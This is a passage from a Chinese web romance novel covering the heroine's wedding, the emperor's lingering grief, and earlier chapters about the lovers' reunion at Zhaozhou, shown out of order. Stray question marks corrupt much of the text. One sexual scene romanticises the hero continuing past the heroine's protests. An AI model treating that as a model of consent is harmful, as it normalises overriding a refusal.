老恒安侯迫于无奈,只得?答应许清桉的要求,并?警告府中上下?,若谁敢怠慢渔女,直接扫地出?门! 一眨眼?便到了成亲之日。 当天一早,恒安侯府敲锣打鼓,礼炮喧天。许清桉一身圆领婚袍,头戴官帽,风姿好?比琼林玉树。 他骑着高头骏马,领着浩浩荡荡的迎亲队伍游街,所到之处人?头攒动,热闹非凡。 好?不容易到了薛府门前,许清桉下?马,正要进?门迎亲,忽听内侍喊道:“皇上驾到!” 众人?立即整齐下?跪,心道:新帝好?肚量!竟真来参加前未婚妻的婚礼!许清桉果真是?新帝面前的大红人?! 却?不想想,若真看重的人?是?许清桉,便该去恒安侯府入座,为何要特意赶到薛家门前? 丰和帝裴长旭并?不在意路人?的想法,他登上皇位已?有小一年,俊雅依旧,举手投足更?添赫斯之威。 他免去众人?礼节,朝许清桉道:“朕来送阿满一程,许侍郎不介意吧?” 许清桉:呵呵。 于是?乎,众人?便见?新帝纡尊降贵,如寻常人?家的兄长般,背着薛家表妹送进?花轿。 他们见?不到新帝眼?中的妒与痛,听不到新帝对薛小姐低语:“阿满,他若是?对你不好?,三哥随时迎你回来。” 折腾了半日,新娘子总算被?迎进?恒安侯府。按理说,许清桉的几位姑母该忙着待客,可惜从婚事敲定起,宫里便派人?来操持所有事务,更?有薛家人?事无巨细的帮忙,导致她们反倒像个外人?。 她们没有意见?,她们不敢有意见?。不提许清桉如今位高权重,这?薛小姐更?有新帝做靠山,她们吃饱了撑的才去找碴。 倒也有蠢的,便是?许清桉的三姑母。参加宴席时,言语间对薛小姐颇有微词,可不出?两日,她的夫君便遭人?检举受贿,被?新帝革去官职,永生?不得?再进?官场。 ……得?,这?下?贵族间都知道,编排谁都不能编排薛小姐咯。 婚礼正式开始,由重进?内阁的薛老太爷主持仪式。丰和帝裴长旭坐在主座,往下?依次是?老恒安侯、老恒安侯夫人?、佟蓉、裴唯宁……还有薛满的好?友们,共同见?证了小夫妻拜堂,送入洞房。 裴长旭饮尽杯中酒,没继续去凑热闹,“走吧。” 杜洋跟着他离开恒安侯府,回到御书房,这?里的冷清与恒安侯府的热闹形成了鲜明对比。 裴长旭已?习惯这?种?冷清,打开一本奏折,翻看许久,没看进?半个字。 杜洋岂能不知晓他的苦楚,忽道:“圣上,属下?有一事要禀告。” 裴长旭道:“说。” 杜洋道:“您还记得?江姑娘吗?” 裴长旭道:“嗯,朕记得?送她去当女尼了。” 杜洋道:“是?有这?么回事,但前些日子,江姑娘来信说想还俗嫁人?。” 裴长旭淡道:“你看着办,替她尽快找个人?家。” 杜洋看出?他没有任何要接江书韵进?宫的意思,斟酌后道:“还有一事,是?寺中监视江姑娘的女尼偷听到的,她声称江姑娘与婢女私下?说漏嘴,称当年江诗韵的死另有隐情。” 裴长旭没抬眼?,“何等隐情?” 杜洋吞吞吐吐,“当年殿下?之所以暴露行踪,被?人?埋伏,实际上是?……是?江诗韵故意为之。她先向殿下?的死对头透露行踪,故意引来袭击,然后再奋不顾身,营救殿下?……” 裴长旭总算有了点反应,勾着唇道:“原来如此?。” 所以,江诗韵的死并?非意外,而是?机关算尽后的竹篮打水一场空。 而他却?因为她的死,忽视阿满,断送此?生?幸福。 咎由自取啊……江诗韵是?,他也是?。 裴长旭取出?袖中的一枚荷包,这?是?他叫人?潜进?薛府,从薛满闲置的梳妆盒里,偷出?来的一枚半成品荷包。 它?本该在他与阿满成婚当日,由阿满亲自戴到他的腰间。 他命杜洋熄灭蜡烛,将荷包贴到心口,闭上眼?,与黑暗融为一体。 黑暗中,无人?会发现新帝的眼?泪。 …… 恒安侯府的热闹仍在延续。 何湘正在给怀孕的宝姝把脉,孟超与安元驹在拼酒,佟蓉跟裴唯宁描述塞北风光,老恒安侯与薛老太爷在……在斗嘴。 “老匹夫,哪怕你的外孙当了皇帝,阿满依旧嫁进?我恒安侯府,往后得?恭恭敬敬地称我一声祖父。”老恒安侯得?意洋洋,“这?回是?你输了,输得?彻彻底底。” 薛老太爷抚着胡须,“是?吗?我怎么听说,他们成婚后便要搬回薛府,不会在侯府常住。” 老恒安侯道:“你懂个屁,小住也是?住,等时间一久,他们生?了孩子,自然而然会在侯府常住。” 薛老太爷道:“我看未必。” 老恒安侯道:“你老眼?昏花,看什么都是?未必。我劝你还是?早些离开内阁,免得?耽误国家大事。” 薛老太爷道:“你说得?没错,我是?该跟圣上提辞官一事,省得?将来没有时间管教曾孙。” 老恒安侯嘲讽:“你没有孙子,还敢妄想曾孙?” 薛老太爷道:“难道许侍郎没跟你提起?” 老恒安侯有种?不好?的预感。 薛老太爷笑道:“许侍郎之前找到我,说跟阿满商量好?了,等阿满诞下?孩子,无论男女,都可跟我薛家姓。” “……”许荣轩的天!塌!了!臭小子与阿满的孩子要姓薛?那他妈的不还是?入赘吗? 这?黑心眼?的臭小子! 他啪的一声捏碎酒盏,起身便要去找许清桉算账,被?薛老太爷的话定在原地,“比起说服许侍郎,老侯爷不觉得?,说服我更?简单些吗?” 老恒安侯的脸差点裂开,“你这?个阴险的老匹夫,要不是?看在絮敏的面子上,我非得?砍了你不可!” 薛老太爷气定神闲,“来,只要你肯跟我说一句话,我便让给你一个孩子的姓氏。” 老恒安侯竖起耳朵,还有这?等好?事? 便听薛老太爷道:“你说,薛科诚与左絮敏是?天赐良缘,来生?定会再续前缘。” 老恒安侯:“……”做你的春秋白日大头梦去吧薛科诚! 画面回到洞房内。 新晋小夫妻已?走完仪式,喝过交杯酒,卸尽妆面,换上素白中衣。 薛满被?他勾着下?巴,压到床间强势亲吻,好?不容易有说话的间隙,“你,你不出?去陪酒吗?” 许清桉言简意赅,“不去。” 说罢又勾缠着她的唇,吻得?又凶又急。 大周有成婚前五日不能见?面的风俗,是?以,许清桉已?有五日没与薛满亲近,这?会儿只想压着她这?样那样,那样又这?样。 薛满也逐渐被?他亲出?火气,身躯似水,瘫软在他的臂间。 许清桉却?忽然离开,打开衣柜取出?个包袱。 呃,有些眼?熟啊。 不等薛满回忆,许清桉已?抖开包袱里的两件衣裳……说是?衣裳,不过是?一件抹胸加一条长裙。 这?不是?当初宝姝送的礼物吗? “你从哪里找到的?”薛满不解,“我没叫明荟收拾进?行囊啊。” “我亲自收拾的。” 许清桉再度压她进?被?褥,边亲边替她换上新衣。白腻的肌肤,丰润的胸脯,不盈一握的腰,笔直纤细的腿……常看常新,百看不腻。 他一言不发地退到床尾,沿着她的脚腕往上亲吻。 薛满本闭着眼?低喘,过得?片刻,却?感觉到一阵濡湿。睁眼?看去,许清桉的鼻间挂着两条血痕,分明是?…… “好?你个许清桉!”薛满忆起往事,后知后觉,“你竟然早就对我意图不轨!” 许清桉淡定地抹去鼻血,顶着一张矜持清贵的脸,说着无赖至极的话,“男女欢好?,本是?天经?地义。我守身多年,好?不容易遇到了你,好?色亦在情理内。” 什么歪理! 薛满绷直脚尖踢他,反被?握住玉足,拉到他身下?,无征兆地登堂入室—— 此?刻,春宵不仅值千金,更?值万万金。 90-94 第91章 第 91 章 裴长旭看不清他们交握的细节, 只觉薛满停顿一瞬后?,疾步走回桌畔。 他不甚在意,阿满既决心与许清桉划清界限, 许清桉便不值得?他再浪费情绪。 “广阑王与傅迎呈在狱中如何?”裴长旭问。 许清桉道:“两人态度一致,均是闭口不言。” 裴长旭道:“索图里和蒋沐宇何在?” 许清桉道:“下官将他们关押在另一处牢房, 索图里不肯配合,成日骂天咒地。蒋沐宇倒是有些动摇, 想必不多时便能问出端倪。” “派人继续审问, 能拿到?关键证词最好,拿不到?的话……”裴长旭道:“等?本王接管兰塬,自有人会替他们开口。” 聊完正事后?,许清桉领命离开, 薛满忍到?他的背影消失, 眼中才敢流露忧色。 他要领兵去兰塬捉拿叛党吗?可他是个文臣,从没有统率军队的经?验。会不会有人看他年轻便使绊子?更何况到?了兰塬, 各路势力纷杂,危险无处不在……想跟他一起?去,想陪在他身边, 想与从前那?般与他患难与共, 可如今的她哪有资格? “阿满。” “我?在。” “我?想喝茶。” “好。” 薛满收拾好情绪,端茶到?床前,“有些烫。” 裴长旭道:“你帮我?吹一吹?” 薛满:“……” 裴长旭道:“开玩笑的。” 薛满没理他, 说出思虑很久的话,“三哥, 我?打算回京。” 裴长旭道:“好, 等?我?能下地,处理好手中事务, 便带着?你回京。” “你误会了我?的意思。”薛满道:“我?是说,我?想自己回京,这?两日便动身。” “不行,我?不放心你一个人上路。” “我?会带上足够的护卫。” “那?也不行。”裴长旭道:“我?不会再放你离开我?的视线。” 薛满蹙眉,“我?不是小?孩子了。” “即便你七老八十,也永远是我?的小?表妹。”裴长旭道:“乖,听三哥的话。” 薛满却不像从前那?乖顺,“兰塬局势复杂,处理起?来耗时耗力,你应当留在此把控大局。而我?离开京城许久,是时候回到?祖父的面前尽孝。” “不急这?么十天半个月。”裴长旭坚持,“等?我?与你一道走。” 薛满沉默片刻,“三哥,我?不是你豢养的鸟儿,便是要走,也不需要你的同意。” 裴长旭叹息:阿满终归和从前有所不同。 “是我?不对,没有顾虑你的心情。”裴长旭缓了声,“但你我?对外声称去了江南修养,若你独身返回,定会惹人东疑西猜。” “可广阑王的事情一出,大家?都会知道你的所作所为。”遮掩还有什么意义? “一切都要看父皇的意思。”裴长旭道:“此事牵扯甚多,在彻底稳妥前,还是谨慎小?心的好。” 也是。 薛满被成功说服,接过?他只喝了两口的茶,听他道:“阿满,等?回京后?,我?会请父皇将婚约提前。” 薛满脱口而出:“祖父答应过?我?,会帮我?不计代价地解除婚约。” 裴长旭问:“事到?如今,你仍坚持解除婚约?” 她低眸,不去看他的神色,“是。” 裴长旭道:“即便你知道我?与江书韵没什么,一切都是场误会?” 她道:“嗯。” 裴长旭道:“我?以为你想清楚了,才会与许清桉保持距离。” “我?确实想得?很清楚,我?与许清桉没有未来,但我?与你,”她郑重地道:“我?们之间的问题,从来都不是他。” “那?是谁?江诗韵?江书韵?还是我?府中伺候的婢女?”裴长旭急切地道:“我?向你保证,不会再看其他女子一眼,也绝不纳妾,余生只爱护你一人。” 若是在一年前,她能听到?这?些保证,定会热泪盈眶,感动地扑进他怀里。 可今时不同往日,她除去遗憾歉疚,给不出其他回应,“三哥,没了婚约,我?们仍旧能做兄妹。” 薛满离开后?,裴长旭对着?空荡荡的房间,半晌不能动弹。 他竟以为……竟以为三百多个日夜过?去,阿满会一成不变地回到?原地。事实却是,阿满在长大,她变得?勇敢,勇敢到?能在黑熊的手下救出他;也变得?果断,果断到?能反驳他的话语,坚持心中所想。 阿满不要许清桉,但也不肯要他。 …… 许清桉花了一日集结好军队,浩浩荡荡地前往兰塬。出发前,他找遍每个角落,都没有见到?那?抹熟悉的身影。 阿满没有来。 许清桉想,总归是他先动的情,先动情便授柄于人,不似她,想抽身便能轻易抽身。 他往天际看了一眼,晨光熹微,远方渺茫。 便再给她一些时日。 等?他平安归来,不会再给她任何喘息的机会。 …… 其实,薛满偷偷地来了,穿着?灰扑扑的褂子,扮作黄脸的年轻小?厮,藏在十分不起?眼的角落,目送许清桉消失在道路的尽头?。 眼泪无声落下,又被她倔强地拭去。 没事,一切都会过?去,随着?时间流逝,再浓烈的爱意也会斑驳褪色。如三哥对江诗韵,又如她对三哥。 她自以为能处理好沉甸甸的心事,但身体无法骗人,当夜便发起?高热,连续三日都半梦半醒。 梦里,她回到?了晏州郊外的山洞、衡州的衙门、侯府中的瑞清院,她与何湘等?人说笑玩闹,身边总缺不了许清桉的身影。 真开心,开心到?她不想醒来。 裴长旭却阴魂不散,每日在她耳畔呼唤,“阿满,阿满,阿满……” 到?第?四日,薛满睁开眼,虚弱地埋怨:“三哥,你真的好吵啊。” 裴长旭松了口气,“你再不醒,我?便要去请道士、和尚到?你耳边继续吵。” “道士跟和尚是两派宗教?,你怎能将他们请到?一起?念经??” “我?要请,他们便必须得?来。” 裴长旭想扶她坐起?来,她先一步起?身,靠坐在迎枕上,“你能下地了?” “嗯,我?刚好些,你又病倒,让人不禁怀疑是我?带衰了你。” “胡说八道,我?自病我?的,和你有什么干系。” 久违的轻松对话,叫两人都笑出了声,仿佛那?些爱恨情仇从不存在。 “三哥,你不生气吗?” “生气有用吗?” “没有用。” “那?怨恨呢,怨恨有用吗?” “也没有用。”薛满道:“我?心意已决,谁劝都没用。” “无碍,我?能等?。” “你永远等?不到?你想要的答案。” “那?我?们便拭目以待,看永远究竟能有多远。” 薛满见他虽说不通,但神色缓和,没有钻牛角尖,便也随他去了。 在她看不见的时候,裴长旭笑容变淡,眸光难掩晦暗。 在休养了五六日后?,薛满招来云斛问:“你和空青他们有联系吗?” “暂时没有。”云斛道:“但属下能飞鸽传书他们,小?姐需要吗?” “不需要。”薛满一口回绝,过?了半日又找他,“你能不能,能不能……” “能不能打听下许少卿是否平安?” 薛满点头?又摇头?,“别说是我?要问的。” “属下明白。”云斛贴心地道:“属下会旁敲侧击,不叫空青察觉出端倪。” 云斛效率极快,当日便给空青写去书信,但等?回信也要三四五日。这?期间,远在杭州府的明荟、云飞等?人赶到?昭州,薛家?主仆得?以团聚。 薛满的身体好转后?,派人打听到?当地最灵验的寺庙,避开裴长旭空闲的时候,带上明荟等?人前往。 她跪在高大慈悲的佛像前,双手合十,面目虔诚。 “信女薛满,今日到?此,有三愿祈求佛祖……” 一愿许清桉逢凶化吉,平安归来。 二愿许清桉心想事成,宏图万里。 三愿许清桉身体健康,长命百岁。 她在佛前跪了许久,将这?三句话来回地念,比当初在若兰寺时更真心百倍。 许久后?,她拖着?发麻的双腿起?身,明荟忙上前扶住她,“小?姐,奴婢帮您揉揉腿吧。” 薛满道:“无碍,我?去外面坐会儿就?好。” 明荟扶着?她到?院里休息,不远处是佛香旺盛的青铜宝鼎,有两名年轻男女正手执细香,对着?宝鼎念念有词。 青年道:“佛祖在上,请保佑我?与姐姐一路顺风,心想事成。姐姐将来能寻个如意郎君,我?能找个靠谱挣钱的差事,最好每个月的酬劳不低于十两白银……” 相比于他,女子的愿望则简单得?多,“希望铭弟健康平安,前程似锦。” 姐弟俩送完香,正要去往大殿跪拜时,青年随意往左边看了眼,惊喜地道:“姐姐,你看那?是不是何大哥的婢女阿满?” 樊忆梦转头?,果然?见到?一张熟悉的俏脸。阿满姑娘在这?,岂非何公子也在? “阿满!”樊数铭热情地走向她,“你怎么会在这?里?何大哥人呢?” 不等?薛满说话,旁边的云飞已抱剑挡在他身前,肃声问:“来者何人?” “……”樊数铭傻住。 “我?认识他们。”薛满忙道:“他们是我?和三哥的朋友。” 三哥是谁? 樊数铭和樊忆梦不明所以,待众人来到?寺庙准备的休憩处,明荟泡上一盏茶后?退到?角落,薛满才跟他们简单解释了几句。 “何公子是我?的表哥。”薛满道:“我?因为好玩,才装作他的婢女出门。” “我?早就?说嘛!”樊数铭大咧咧地道:“你瞧着?细皮嫩肉,伺候人时也不周到?,哪里像个婢女。” 樊忆梦观察更为仔细,发现眼前的姑娘除去身份,气度亦是截然?不同。比起?之前的活泼跳跃,眼前的她举止端方,浑是名门贵女的姿态。 “阿满姑娘。”樊忆梦问出心中所虑,“敢问何公子何在?” “三哥也在昭州。” “那?,求香畔可有刁难他?他可有受到?威胁?如今行动是否自由?” “你放心,他很好,你们以后?也会很好。”薛满道:“因为从今往后?,求香畔将彻底消失。” 樊数铭与樊忆梦闻言愕然?,再想追问细节,薛满已转移话题,“我?听三哥说你们要去原州,没想到?会在这?里遇到?你们。” “是,我?们本要直接去原州,但出发没多久,姐姐就?因为担心何公子,不肯再往远了去。”樊数铭道:“她想离兰塬近一些,等?找到?机会再回去,打探何公子的情况。” 樊忆梦红着?脸解释:“毕竟,何公子是因我?才被牵扯进内楼。” 薛满怎能看不出她对裴长旭的情意?换作之前,她定是看热闹不嫌事大,但这?会儿只剩下沉默。 樊数铭问:“对了,你们在昭州住哪?” 薛满便说了住处的位置。 樊数铭看了眼樊忆梦,脑子转得?飞快,“真是巧了,我?们便住在隔两条街的客栈里,要不这?样,我?们待会去接何大哥出来,晚上一起?去酒楼用膳?” 一边是樊数铭热情的邀请,一边是樊忆梦隐含期待的目光,薛满揉着?额角,顿时左右为难。 答应?三哥已完成任务,定然?不耐烦应付他们姐弟,何况樊忆梦明显对他有情。不答应?她得?找什么样的借口,既能不伤和气,又能彻底断绝他们来往的心思。 她喝了口茶,润润干燥的嗓,打算认真地胡扯一通时,樊数铭紧盯她的身后?喊:“何大哥!” 樊忆梦起?身,朝来人款款欠身,“何大公子。” “……”得?,本尊来了,省得?她撒谎骗人。 裴长旭朝两人颔首,“嗯,幸会。” 樊数铭愣住,一时不能理解他的冷淡。樊忆梦本揣着?满腔热忱,也只能见他无视自己,走到?薛满旁边嘘寒问暖。 “出门怎么不说一声?” “我?没说,你不也找来这?里了?” “我?担心,便跟过?来看看。” “有什么可担心的,我?带了这?么多人出门。你那?边忙完事了?” “还没有,晚上继续,走吧,我?们回家?。” “三哥。”薛满提醒他那?边还站着?两个大活人,“樊家?姐弟想邀请你一起?用晚膳。” “多谢两位的好意,但不必客气。”裴长旭道:“求香畔已被连根拔起?,你们再无后?顾之忧,往后?能随心所欲地生活。” 他轻描淡写地说完,便催促着?薛满离开。待他们走后?,樊数铭难以置信地问:“姐姐,那?人真是我?们认识的何公子吗?” 樊忆梦喃喃道:“恐怕不是。” 樊数铭当她在说笑,一模一样的五官,怎么可能不是同个人,“是我?哪里得?罪他了吗?没有啊,我?待阿满姑娘很客气,待他也很客气……算了,他不搭理我?们,我?们也不搭理他,便当是萍水相逢的一场梦。” 是萍水相逢,还是对方的一场预谋? 樊忆梦忽然?想通了某些事:何公子接近她,怜惜她,明知危险,也要为她进入内楼……又或者,他的目标一直都是内楼,而她恰好成为那?个合适的借口。 樊数铭仍在碎碎念:“何公子说求香畔被连根拔起?,若是真的,那?便是天大的一桩好事。姐姐,我?们继续往东边走吧,去一个没有人认识我?们的地方……” 樊忆梦从怅惘中回神,露出笑容道:“好。” 不管何公子接近她是否另有目的,但他摧毁了求香畔,解救出许多与她一样身不由己的女子。 能拥有自由,这?便够了。 * 三日后?,云斛收到?空青的回信,转头?便交给薛满。 薛满拆开信封,逐字逐句地看。信中空青称行动顺利,已将大部分的叛党和南垗奸细捉拿归案。有少数漏网之鱼,正由许清桉带领在全城搜捕,若没有意外,五天内便能返回昭州复命。 读到?最后?一段时,薛满略显茫然?。 空青说,此番随行的昭州军队中,竟有名巾帼不让须眉的女将。她是昭州军主将的独生女,从小?在军中摸爬滚打,耍得?一手好长枪,曾在许清桉受袭时果断出手,免去许清桉的皮肉之苦。 那?岂非也是救命的恩情? 薛满心中五味杂陈,想当初,她便是在黑衣人手中救下许清桉的性?命,许清桉才对她另眼相看。如今又来了个救命之恩,他是否也会…… 随即落寞垂眸:是她决意要划清界限,那?他无论与谁有瓜葛,都不是她该操心的事情。 她将信纸方方正正地叠好,放到?枕头?下面,不断告诉自己:只要他平安回来便好。 然?而,真到?许清桉回来那?日,见着?他身后?那?抹英姿飒爽的身影时,薛满几乎落荒而逃。 她怕再停留片刻,便会抛弃理智,冲到?许清桉面前酸言酸语。 她自认为克制的行为,落到?许清桉眼中便完全变了味。他想,有些人像极乌龟,习惯性?地缩在壳中,唯有逼得?她无处可退,才肯直面真实的心意。 他在有璟阁中做过?一次,而今更是熟能生巧。 当晚,裴长旭为许清桉、昭州军等?人举办了接风宴席。他坐在主座,与昭州的官员、将领们谈笑风生,许清桉则坐在他的右下首,一杯接一杯地饮酒。 他身侧坐着?的正是空青所指的那?名女将领,名为殷红,年方二十一,比许清桉还大上一岁。 相处半月,殷红知晓许清桉这?人冷淡,便与旁边的人咬耳朵,“许少卿看起?来心情欠佳,怎么,有谁惹到?他了?” 那?人道:“没有吧,端王一直夸他年轻有为,言语间还有为他牵红线的意思。” 殷红便问:“跟谁牵红线?” 那?人道:“跟你啊!” 殷红无语,“开什么玩笑,像许少卿这?样的京城贵公子,想必早晨起?来洗脸便有十八道步骤,我?可吃不大消!比起?他,我?觉得?那?名叫蜚零的护卫更有男子气概,你瞧见没,他竟能徒手扛起?一口巨鼎!” 宴席过?半,殷红去外面散步透气,察觉到?有人鬼祟地跟在后?头?。 殷红故意将她引到?了偏僻处,随即丢出一颗石子,撞得?那?人痛呼出声。 “哎哟!” 殷红双手抱臂,玩味地望着?那?名女子,“你是何人,跟着?我?有何意图?” 那?人不是别人,正是薛满的贴身婢女明荟。她捂着?额头?,支支吾吾地道:“我?,没有,我?只是路过?。” 殷红道:“我?不信你说的话,走吧,我?带你去端王面前走一趟。” 殷红做出要捉拿她的姿势,吓得?明荟忙道:“女大人误会了,奴婢是端王殿下表妹的贴身婢女,方才跟着?你是因为,是因为……” “为何?” 明荟有口难言,她总不能说担心殷红与许世子有非同寻常的关系,特地前来打探吧? 都怪空青,非要在她面前说那?一通似是而非的话!什么殷红与许世子志趣相投,形影不离,对世子更有救命之恩 …… 明荟在心底将空青骂了一通,才对殷红道:“奴婢是好奇怎样的女子能上阵杀敌,想来瞻仰下女大人的风采而已。” 殷红摩挲着?下巴,其实吧,她偶然?听见过?空青、蜚零议论许少卿的私事,知晓许少卿与端王的表妹有情感纠葛。但回到?昭州又偶然?得?知,端王与这?位表妹有圣上亲指的婚约。 看来是一场复杂的爱恨纠葛! 殷红何等?聪慧,瞬间猜到?婢女的意图,甚是爽朗地道:“叫你家?小?姐安心,我?与许少卿没说过?几句话,不过?是点个头?的交情。” 明荟欢喜地道:“女大人风采过?人,将来的夫婿定比世子更加优秀!” 殷红便揽过?她的肩膀,“你跟许世子的护卫熟吗?” 明荟问:“哪个护卫,空青还是蜚零?” 殷红道:“蜚零,不爱说话的那?个。” 明荟:“因主子们的关系,奴婢与他偶有来往。” 殷红道:“你觉得?他可能留在昭州,入赘到?我?家?吗?” 明荟:“……”这?个,您是不是问蜚零本人更准确些呢? 好不容易送走微醺的殷红,明荟回到?房间,本想告诉薛满打探到?的好消息,找遍屋子没见到?人。 打听一圈,原是薛满跑到?小?厨房亲自揉面去了。 明荟挽起?袖子想帮忙,被薛满摇头?拒绝,“我?想自己试试。” 明荟便站在一旁,见主子不断地和面、切面、揉面,次次失败,次次重来。 不知揉了多久,薛满停住手中动作,低声道:“我?总是将事情搞得?一团糟糕。” “小?姐,您没有……” “走吧,我?累了。” 薛满疲惫不堪,真到?了屋里,却遣散明荟的伺候,从枕下拿出一样东西,坐在桌前反复地看。 那?是许清桉过?年时送她的珍珠樱花流苏簪子。 恢复记忆后?,她便没戴过?它,只将它放在触手可及的地方。痛苦难过?时,只要看着?它,回味过?去的美好甜蜜,便能稍稍抚平心伤。 烛光倒映着?她的眸,静谧又脆弱。 身侧忽然?传来一道男声,“既对我?不理不睬,又为何要留着?它?” 薛满吓得?坐直身子,望向角落里的山水屏风,眼睁睁见后?头?走出一名俊美青年。风流跌宕,气度矜冷,不是许清桉又能是谁? 薛满惊愕,“你,你怎么会在这?里!” 许清桉顾自道:“你既决心要与端王重修旧好,便不该留着?我?送你的簪子。” 薛满的嘴快过?脑子,“你送了我?,便是我?的东西,你管我?留或不留。” 许清桉道:“我?偏要管,你待如何?” 薛满握紧簪子,扭开脸道:“这?是我?的卧室,许少卿贸然?闯入实未免冒昧,还请你马上离开。” 许清桉淡道:“哦,我?醉了酒,无意中闯入此地。” “……”得?醉成什么样,才能这?般理直气壮的瞎说? “把簪子还我?,我?便马上离开。” “你来这?里,就?是为了要回簪子?” “不然?呢?” 果然?是有了新人,对旧人便不假辞色了。薛满忍着?酸溜溜的妒意,赌气道:“我?还你就?是!” 她本想将簪子扔到?地上,终究是舍不得?,快步走到?他跟前,“拿去。” 许清桉没接,“你确定要还给我??” 薛满道:“是你要的,你又反过?来问我??” 许清桉再次确认:“还给我?,将来便是一刀两断。” 薛满将东西塞到?他手里,狠下心道:“你走吧。” 许清桉没再纠缠,利落地开门走人。 薛满盯着?不远处的床帐,眼眶逐渐泛红,清泪簌簌而下。 她试图安慰自己,“薛满,你该学会习惯,习惯便好了。” 安慰没有用,她的心像被硬生生地扯裂,疼得?快死了。 她干脆蹲在地上,抱膝开始低泣。犹记得?一年前,她在南溪别院门口见到?三哥与江书韵时,亦觉得?天都要塌了。可与此刻的心情相比,那?时的难过?何其浅薄。 往后?她再也不能使唤许清桉,不能靠近他,不能分享喜怒哀乐…… 轻微的脚步声响起?,有人走到?她的面前,学她一般蹲着?道:“是你先放弃我?,为何还会伤心?” 薛满愣愣地看着?他,他怎么还在这?里? 许清桉用帕子拭着?她的泪,拭着?拭着?,变为捧住她的脸。 他问:“既然?不舍得?,为何要赶我?走?” 薛满的泪再度决堤,无力继续伪装,“你,你喜欢的人根本不是我?。” 许清桉问:“不是你,那?是谁?” 薛满哽咽:“你喜欢的人是阿满,自始至终都是阿满。” 许清桉道:“你不认为你是阿满?” 薛满道:“我?是薛满,不是你认识的那?个阿满。” 许清桉问:“难道你忘了我?们的过?去?” 薛满摇头?,边哭边道:“正因为没有忘,我?才不能骗你。我?不是她,我?没有她的勇敢,也没有她的任性?,更没有她的自信坚强。” 所谓的阿满,不过?是她看完《婢女奋进录》后?,臆想出的另一个自己:勇敢任性?,自信坚强,闪闪发光,与本人截然?相反的另一个自己。 她越想越心灰意冷,起?身又想赶人。他却拉住她的手腕,用力地揽进怀里。 他道:“在我?眼里,你就?是阿满,阿满就?是你。” 薛满异常固执,“我?不是她,我?姓薛名满,从小?长在皇后?身边,习惯按部就?班的生活。遇到?事情习惯忍让,能不吵架便不吵架,能退一步海阔天空,便退一步海阔天空……” 是了,阿满有气便撒,有仇必报,当不来忍气吞声之辈。但那?又如何?同一张脸,同样的记忆,同样的情感,即便有细微差别,也不影响最终结果。 她是薛满,也是他的阿满。 许清桉不再浪费口舌,直接将她拦腰抱起?,丢进柔软的床铺中。跟着?,他慢条斯理地解去腰带,敞开外衣,朝她步步逼近。 薛满傻眼,“你,你,你要做什么?” “看不出来吗?”许清桉道:“我?要睡你。” “……”许清桉疯了! 薛满瞪圆眼睛,翻身便撑着?手臂要逃。奈何青年心意已决,从背后?将她捞进怀里,顺着?魂牵梦萦的脸颊,一路往下细密地亲吻。 衣裳被修长的手指解开,层层剥落,露出少女凝白的肩。 青年掐紧她的腰贴向自己,埋进滑腻的颈间,带些报复意味地轻咬。 薛满眸中弥漫开水雾,仍在推拒,“许清桉,你不能这?样……” “为何不能?” “我?们,我?们没有成亲……” “迟早会成亲。” “但是……” “嘘。”许清桉道:“阿满,这?时候你不该说话。” 薄如蝉翼的纱帐落下,烛光投映出青年高大的身影,将少女坚定地覆到?身下。 烛影摇红,夜阑饮散春宵短。 * 醒来时,薛满不知今夕何夕。 她不着?寸缕,腰上横着?一只精健的手臂,依偎在某人宽厚的胸膛里。 昨晚的记忆逐渐回笼,薛满顿时脸庞涨红,呼吸窘迫。 许清桉和她……她和许清桉…… 啊! 她双手捂脸,短暂的羞愤过?后?,便觉心口溢满了甜蜜。 方才她懵懂无措,只能跟着?他的掌控起?起?伏伏。情浓时,他不厌其烦地附在她耳畔道,他喜欢的人是失忆的阿满,更是眼前的薛满。 她从未体验过?那?样极致的欢愉,因为情,情由他所起?;因为欲,欲也由他所赐。 她湿润了眸,轻吻上他的喉结,片刻后?,换来另一场近乎失控的耳鬓厮磨…… “木已成舟,生米也已经?煮成熟饭。”她端详青年安逸的睡颜,小?声道:“许清桉,往后?便是你想逃,我?也会天涯海角地缠着?你。” 本该熟睡的青年睁开一双桃花眼,“是吗?那?许某便拭目以待。” 薛满的心疯狂漏拍,慌忙躲进被里。许清桉便隔着?被子搂住她,“薛小?姐躲进被里,莫非是想仔细欣赏我?的身体?” 这?话何其香艳狎昵! 薛满速即探出脑袋,恶狠狠地道:“不许你取笑我?!” “好,不取笑。”许清桉拢紧双臂,“许某往后?会以薛小?姐的话为圣旨,叫我?往东绝不敢往西。” 他拥着?她,眉眼欢悦,舍不得?松开半分。 薛满彻底卸下防备,袒露心声,“我?以为恢复记忆后?,便会与你分道扬镳。” 许清桉道:“我?不愿,也不许你愿。” “嗯。”薛满道:“我?要一辈子当你的阿满,当瑞清院的大管家?。” “女主人。”许清桉纠正:“当瑞清院唯一的女主人。” “那?,女主人的权力有多大?” “具体来说说,你想要多大?” 薛满还未说话,忽然?察觉他贴上来,身体某处正起?着?惊人变化。 这?,这?这?这?! 她的脸颊炸开红晕,正待逃之夭夭,许清桉却先一步摁住她的肩,再度欺身覆上。 长夜漫漫,岂能浪费大好时光? 第92章 第 92 章 被翻红浪几度, 终于在?天幽幽亮时偃旗息鼓。 薛满筋疲力尽地睡去,转醒时,身上?已穿着干净的白色中?衣。 许清桉抚着她的长发, “醒了?” “嗯。”薛满忍着羞意,直接钻进他的怀里, “你今日有事忙吗,要?不要?早些起来??” “还好, 晚些不碍事。”许清桉道:“我们来?聊会儿天?” “你想聊什么?” “聊我离开?墨城后, 都发生?了哪些事。” “好啊。” 薛满便将裴长旭如何参加三次宴会,通过哪些试验,以及她识破十八皇子的事情,一五一十地说来?。 “登船后的事情呢?” 薛满又将十八皇子话里话外瞧不起她, 她却装傻充愣, 哄骗对方喝下掺有迷药的糕点?,成功抓获十八皇子、蒋沐宇后, 却迎来?傅迎呈追击的事情说了。 “后来?你们便跳江逃亡?” “是?,我们每两个人抱着一根木头?,顺着江水漂流。我与三哥在?天亮时漂到岸上?, 找到一处山洞生?火休息, 没想到来?了一只黑熊。三哥叫我藏在?山洞里,他独身去对付黑熊,但我不放心便跟了出去, 趁黑熊不注意时,用袖箭射中?了它的双眼。” “阿满真厉害。”许清桉赞道:“等回京后, 我教你马上?射箭可好?” “好。”薛满道:“我还想学做糖, 揉面条,耍长枪, 绣像样的荷包……” 瞧这颗丰富多?彩的脑子,与从前有什么两样? 许清桉哑然?失笑,“不急,你再?与我说说,广阑王是?怎么找到你的?” “我替三哥去找止血的草药,回来?的路上?便遇到了他们。”薛满心有余悸,“没想到他会跟傅迎呈一起来?抓我们。” 